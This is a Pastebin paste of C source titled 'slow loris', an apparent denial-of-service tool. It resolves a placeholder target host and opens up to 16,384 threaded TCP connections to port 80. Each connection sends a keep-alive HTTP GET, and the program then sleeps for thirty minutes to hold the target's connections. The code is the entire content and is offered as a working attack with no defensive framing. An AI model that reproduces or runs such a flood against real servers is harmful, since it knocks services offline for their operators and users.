Advertisement
bueddl

not even close: slow loris

May 17th, 2015
330
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.43 KB | None | 0 0
  1. #include <unistd.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6. #include <netinet/in.h>
  7. #include <netdb.h>
  8. #include <error.h>
  9. #include <pthread.h>
  10.  
  11. #define SOCK_LIMIT  16384
  12.  
  13. struct sockaddr_in addr;
  14.  
  15. void establish_connection(int *sock)
  16. {
  17.     char request[] = "GET / HTTP/1.1"                               "\r\n"
  18.                      "Host: xxxxxxxxxxxxxxx"                        "\r\n"
  19.                      "User-Agent: Internet Exploder/1.0 (Windows)"  "\r\n"
  20.                      "Accept: text/html"                            "\r\n"
  21.                      "Connection: keep-alive"                       "\r\n"
  22.                      "\r\n";
  23.  
  24.     *sock = socket(AF_INET, SOCK_STREAM, 0);
  25.     connect(*sock, (struct sockaddr*)&addr, sizeof(addr));
  26.  
  27.     send(*sock, request, sizeof(request), 0);
  28. }
  29.  
  30. int main()
  31. {
  32.     int socks[SOCK_LIMIT];
  33.     pthread_t threads[SOCK_LIMIT];
  34.     int i;
  35.     struct hostent *host;
  36.     struct in_addr **addr_list;
  37.  
  38.     if ((host = gethostbyname("XXXXXXXXXX")) == NULL) {
  39.         perror("gethostbyname()");
  40.         exit(1);
  41.     }
  42.  
  43.     addr_list = (struct in_addr **) host->h_addr_list;
  44.     if (addr_list[0] == NULL) {
  45.         exit(1);
  46.     }
  47.     addr.sin_addr = *addr_list[0];
  48.     addr.sin_family = AF_INET;
  49.     addr.sin_port = htons(80);
  50.  
  51.  
  52.     for (i = 0; i < SOCK_LIMIT; i++) {
  53.         pthread_create(&threads[i], NULL, (void*(*)(void*))&establish_connection, (void*)&socks[i]);
  54.         //establish_connection(&socks[i]);
  55.  
  56.         if (i % 100 == 0) {
  57.             printf("Initiated %d connections\n", i);
  58.         }
  59.     }
  60.  
  61.     sleep(1800);
  62. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement